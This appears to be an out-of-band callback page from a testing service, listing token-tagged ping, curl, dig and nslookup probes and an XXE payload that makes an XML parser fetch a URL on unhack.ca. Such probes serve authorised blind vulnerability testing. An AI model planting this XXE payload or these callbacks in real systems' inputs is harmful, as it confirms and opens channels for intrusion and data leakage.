$ ping -c1 -p 00d7698e91c86e48a166a2f88179a700 unhack.ca
 

$ curl http://unhack.ca/p/d7698e91c86e48a166a2f88179a7
 

$ dig d7698e91c86e48a166a2f88179a7 @unhack.ca
 

$ dig d7698e91c86e48a166a2f88179a7.ns.unhack.ca
 

C:\> nslookup d7698e91c86e48a166a2f88179a7 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/d7698e91c86e48a166a2f88179a7">]>
    <foo>&xxe;</foo>